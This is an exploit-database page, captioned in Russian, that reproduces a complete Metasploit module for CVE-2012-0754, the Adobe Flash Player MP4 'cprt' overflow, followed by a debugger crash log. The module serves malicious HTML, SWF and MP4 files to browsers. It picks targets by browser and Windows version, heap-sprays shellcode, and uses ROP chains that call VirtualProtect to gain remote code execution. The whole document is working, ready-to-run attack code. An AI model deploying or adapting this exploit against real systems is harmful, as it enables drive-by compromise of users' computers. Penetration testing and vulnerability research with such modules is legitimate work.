Adobe Flash Player .mp4 'cprt' Overflow Exploit

Свойства

Дата публикации:
07.03.2012
Цель:
Adobe Flash Player
Тип воздействия:
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Adobe Flash Player MP4 'cprt' Overflow",
            'Description'    => %q{
                This module exploits a vulnerability found in Adobe Flash Player.
                By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary
                remote code execution under the context of the user.

                This vulnerability has been exploited in the wild as part of the
                "Iran's Oil and Nuclear Situation.doc" e-mail attack.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alexander Gavrun', # Vulnerability discovery
                    'sinn3r',           # Metasploit module
                    'juan vazquez'      # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-0754' ],
                    [ 'OSVDB', '79300'],
                    [ 'BID', '52034' ],
                    [ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html'; ],
                    [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html'; ]
                ],
            'Payload'        =>
                {
                    'StackAdjustment' => -3500
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # Flash Player 11.1.102.55
                    # Flash Player 10.3.183.10
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
                    [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre,    'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
                    [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x600', 'Ret' => 0x0c0c0c0c } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Feb 15 2012",
            'DefaultTarget'  => 0))
    end

    def junk(n=4)
        return rand_text_alpha(n).unpack("V").first
    end

    def nop
        return make_nops(4).unpack("V").first
    end

    def get_payload(t)

        if t['Rop'].nil?
            code = ""
        else
            code = "\xbc\x0c\x0c\x0c\x0c"  #Fix the stack to avoid a busted encoder
        end
        code << payload.encoded

        # No rop. Just return the payload.
        return code if t['Rop'].nil?

        # Both ROP chains generated by mona.py - See corelan.be
        case t['Rop']
        when :msvcrt
            rop =
            [
                0x77c4e392,  # POP EAX # RETN
                0x77c11120,  # <- *&VirtualProtect()
                0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                junk,
                0x77c2dd6c,
                0x77c4ec00,  # POP EBP # RETN
                0x77c35459,  # ptr to 'push esp #  ret'
                0x77c47705,  # POP EBX # RETN
                0x00000800,  # <- change size to mark as executable if needed (-> ebx)
                0x77c3ea01,  # POP ECX # RETN
                0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
                0x77c46100,  # POP EDI # RETN
                0x77c46101,  # ROP NOP (-> edi)
                0x77c4d680,  # POP EDX # RETN
                0x00000040,  # newProtect (0x40) (-> edx)
                0x77c4e392,  # POP EAX # RETN
                nop,  # NOPS (-> eax)
                0x77c12df9,  # PUSHAD # RETN
            ].pack("V*")

        when :jre
            rop =
            [
                0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
                0xfffffdff,  # Value to negate, will become 0x00000201 (dwSize)
                0x7c347f98,  # RETN (ROP NOP)
                0x7c3415a2,  # JMP [EAX]
                0xffffffff,
                0x7c376402,  # skip 4 bytes
                0x7c351e05,  # NEG EAX # RETN
                0x7c345255,  # INC EBX # FPATAN # RETN
                0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
                0x7c344f87,  # POP EDX # RETN
                0xffffffc0,  # Value to negate, will become 0x00000040
                0x7c351eb1,  # NEG EDX # RETN
                0x7c34d201,  # POP ECX # RETN
                0x7c38b001,  # &Writable location
                0x7c347f97,  # POP EAX # RETN
                0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
                0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
                0x7c345c30,  # ptr to 'push esp #  ret '
            ].pack("V*")
        end

        pivot  = [0x77C1CAFB].pack('V*')  #POP/POP/RET
        pivot << [junk].pack('V*')
        pivot << [t.ret].pack('V*')

        code = pivot + rop + code
        return code
    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1]  #IE 6 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
            return targets[2]  #IE 7 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
            return targets[3]  #IE 8 on Windows XP SP3
        elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
            return targets[5]  #IE 7 on Windows Vista
        else
            return nil
        end
    end

    def on_request_uri(cli, request)

        agent = request.headers['User-Agent']
        my_target = get_target(agent)

        # Avoid the attack if the victim doesn't have the same setup we're targeting
        if my_target.nil?
            print_error("#{cli.peerhost}:#{cli.peerport} Browser not supported, will not launch attack: #{agent.to_s}")
            send_not_found(cli)
            return
        end

        print_status("#{cli.peerhost}:#{cli.peerport} Client requesting: #{request.uri}")

        # The SWF requests our MP4 trigger
        if request.uri =~ /\.mp4$/
            print_status("#{cli.peerhost}:#{cli.peerport} Sending MP4...")
            mp4 = create_mp4(my_target)
            send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
            return
        end

        if request.uri =~ /\.swf$/
            print_status("#{cli.peerhost}:#{cli.peerport} Sending Exploit SWF...")
            send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
            return
        end

        p = get_payload(my_target)

        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

        js_pivot = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");

        while (nops.length < 0x80000) nops += nops;
        var offset = nops.substring(0, #{my_target['Offset']});
        var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);

        heap_obj.gc();
        heap_obj.debug(true);
        for (var i=1; i < 0x1C2; i++) {
            heap_obj.alloc(block);
        }
        heap_obj.debug(true);
        JS

        js_pivot = heaplib(js_pivot, {:noobfu => true})

        swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
        swf_uri << "/Exploit.swf"
        print_status("#{cli.peerhost}:#{cli.peerport} #{swf_uri}")

        html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab";>
<param name="movie" value="#{swf_uri}" />
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer";>
</embed>

</object>
</center>

</body>
</html>
        |

        html = html.gsub(/^\t\t/, '')

        #
        # "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
        #
        proc = Proc.new do |cli, req|
            on_request_uri(cli, req)
        end

        add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
        print_status("#{cli.peerhost}:#{cli.peerport} Sending html...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end

    def cleanup
        remove_resource('/test.mp4') rescue nil
        super
    end

    def exploit
        @swf = create_swf
        super
    end

    def create_swf
        path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
        fd = ::File.open( path, "rb" )
        swf = fd.read(fd.stat.size)
        fd.close

        return swf
    end

    def create_mp4(target)
        mp4 = ""
        mp4 << "\x00\x00\x00\x18"
        mp4 << "ftypmp42"
        mp4 << "\x00\x00\x00\x00"
        mp4 << "mp42isom"
        mp4 << "\x00\x00\x00\x0D"
        mp4 << "cprt"
        mp4 << "\x00\xFF\xFF\xFF"
        mp4 << "\x00\x00\x00\x00"
        mp4 << "\x0c\x0c\x0c\x0c" * 2586

        return mp4
    end

end

=begin
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx

(510.9b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
Flash10x+0x48b65:
10048b65 ff5008          call    dword ptr [eax+8]    ds:0023:0c0c0c14=????????
=end

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